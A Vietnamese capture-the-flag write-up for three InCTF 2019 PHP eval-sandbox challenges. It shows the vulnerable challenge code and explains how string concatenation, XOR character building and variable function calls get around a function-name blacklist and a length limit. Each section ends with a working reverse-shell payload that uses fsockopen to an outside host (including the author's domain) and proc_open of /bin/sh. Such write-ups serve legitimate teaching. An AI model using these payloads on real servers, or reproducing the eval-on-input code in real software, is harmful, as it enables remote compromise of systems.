Writeup INCTF 2019

Misc: Bye Bye 2.7

https://thaivd.wordpress.com/2019/09/23/inctf-bye-bye-2-7-misc-100pts/

PHP+1
<?php

$input = $_GET['input'];

function check(){  
  global $input;
  foreach (get_defined_functions()['internal'] as $blacklisted) {
      if (preg_match ('/' . $blacklisted . '/im', $input)) {
          echo "Your input is blacklisted" . "<br>";
          return true;
          break;
      }
  }
  $blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
  unset($blacklist);
  return false;
}

$thisfille=$_GET['thisfile'];

if(is_file($thisfille)){  
  echo "You can't use inner file" . "<br>";
}
else{  
  if(file_exists($thisfille)){
    if(check()){
      echo "Naaah" . "<br>";
    }else{
      eval($input);
    }
  }else{
    echo "File doesn't exist" . "<br>";
  }

}

function iterate($ass){  
    foreach($ass as $hole){
        echo "AssHole";
    }
}

highlight_file(__FILE__);  
?>

Để bypass qua lớp tham số thisfile (is_file và file_exists) ta chỉ cần cung cấp một thư mục nào đó, ví dụ /.

Như các bạn có thể thấy, bài này chặn tất cả các hàm có sẵn trong hệ thống, do đó ta cần tìm cách bypass. Một trong những cách bypass dễ nhất đó là sử dụng eval + hex, tuy nhiên trong quá trình làm thì mình làm theo cách khá khó đó là sử dụng 2 lớp eval và bypass bằng cách nối chuỗi. Ví dụ như hàm system sẽ được bypass bằng cách 'sys'.'tem'. Một điều cần lưu ý khi làm bài dạng này là các bạn nên check kĩ phpinfo() trước khi làm, để biết xem hiện tại có hàm nào đã được disable hay không. Trong trường hợp của bài này thì hầu hết các hàm có thể lấy shell đã bị bypass, tuy nhiên có một hàm là proc_open chưa bị chặn (hàm này khá hiếm sử dụng để lấy shell). Và mình cũng tìm được một shell khá ngắn (thật ra có thể ngắn hơn nữa) tại đây.

Payload cuối cùng của mình là (sử dụng cách khó):

eval('$input=ch'.'r(95);echo $input;');eval('$sock=fso'.'cko'.'pen("ip_address",80);proc'.$input.'op'.'en("/bin/sh -i",array(0=>$sock,1=>$sock, 2=>$sock),$p);');  
PHP+1.5
<?php

$input = $_GET['input'];

function check(){  
  global $input;
  foreach (get_defined_functions()['internal'] as $blacklisted) {
      if (preg_match ('/' . $blacklisted . '/im', $input)) {
          echo "Your input is blacklisted" . "<br>";
          return true;
          break;
      }
  }
  $blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
  if(preg_match("/$blacklist/i", $input)){
    echo "Do you really you need that?" . "<br>";
    return true;
  }

  unset($blacklist);
  return false;
}

$thisfille=$_GET['thisfile'];

if(is_file($thisfille)){  
  echo "You can't use inner file" . "<br>";
}
else{  
  if(file_exists($thisfille)){
    if(check()){
      echo "Naaah" . "<br>";
    }else{
      eval($input);
    }
  }else{
    echo "File doesn't exist" . "<br>";
  }

}

function iterate($ass){  
    foreach($ass as $hole){
        echo "AssHole";
    }
}

highlight_file(__FILE__);  
?>

Bài này tương tự với bài trên tuy nhiên đã filter rất nhiều kí tự đặc biệt hữu ích như ", ', [, ],...

Vì vậy ta phải tìm cách sửa lại payload trên mà không cần sử dụng các kí tự trên. Ta có những kí tự sau chưa bị filter: $ dùng để sử dụng biến, ^ phép toán xor có thể sử dụng để bypass, ; có thể sử dụng nhiều câu lệnh trong eval, , dùng để truyền tham số vào hàm,...

Một điều đặc biệt của PHP đó là nếu ta sử dụng một constant không tồn tại, thì PHP sẽ tự động cố gắng "assume" để sử dụng tên hằng đó thành một chuỗi. Ví dụ như:

<?php  
echo something;  
?>

Khi chạy, PHP sẽ xuất ra cảnh báo tuy nhiên ta vẫn nhận được something trên màn hình. => Ta có thể lợi dụng điều này để sử dụng chuỗi mà không cần ' hoặc ".

Một điều thú vị nữa từ PHP đó là nó cho phép gọi hàm từ một biến có chứa chuỗi là tên hàm đó, ví dụ:

function echoit($string)  
{
    echo $string;
}
$func = 'echoit';
$func('test');  // This calls echoit()

Vậy, ta có thể tiếp tục lợi dụng điều này để bypass qua lớp chặn các hàm hệ thống mà không cần dùng tới 2 lần eval.

Payload cuối cùng của mình với bài này là:

$a=proc.(x^a^F).open;$b=(N^a).bin.(N^a).sh.(A^a).(L^a).i;$d=frog.(A^o).wtf;$c=fsock.open;$sock = $c($d,80);$proc = $a($b, array(0=>$sock, 1=>$sock, 2=>$sock), $zz);

P/s: Tên miền frog.wtf được mình mua cách đây vài ngày để chơi CTF, khá hữu dụng đúng không =)))

PHP+2.5
<?php

$input = $_GET['input'];

function check(){  
  global $input;
  foreach (get_defined_functions()['internal'] as $blacklisted) {
      if (preg_match ('/' . $blacklisted . '/im', $input)) {
          echo "Your input is blacklisted" . "<br>";
          return true;
          break;
      }
  }
  $blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
  if(preg_match("/$blacklist/i", $input)){
    echo "Do you really you need that?" . "<br>";
    return true;
  }

  unset($blacklist);
  if(strlen($input)>100){  #That is random no. I took ;)
    echo "This is getting really large input..." . "<br>";
    return true;
  }  
  return false;
}

$thisfille=$_GET['thisfile'];

if(is_file($thisfille)){  
  echo "You can't use inner file" . "<br>";
}
else{  
  if(file_exists($thisfille)){
    if(check()){
      echo "Naaah" . "<br>";
    }else{
      eval($input);
    }
  }else{
    echo "File doesn't exist" . "<br>";
  }

}

function iterate($ass){  
    foreach($ass as $hole){
        echo "AssHole";
    }
}

highlight_file(__FILE__);  
?>

Bài này tương tự như bài PHP+1.5 tuy nhiên lần này giới hạn payload chỉ là 100 kí tự, ta phải tìm cách rút gọn lại payload đã làm trong bài trước (một lần nữa tên miền ngắn của mình phát huy tác dụng đúng không :D).

Có rất nhiều cách để rút gọn, ví dụ như rút gọn tên biến, xóa khoảng cách, loại bỏ gọn các biến không cần thiết, truyền trực tiếp tham số vào hàm thay vì qua gán biến trước hay truyền sh vào proc_open thay vì /bin/sh -i dài dòng. Cuối cùng payload ngắn nhất có thể của mình là khoảng 74 kí tự như sau:

$s=(fsock.open)(frog.(A^o).wtf,8);(proc.(x^a^F).open)(sh,array($s,$s),$z);
Seal niêm phong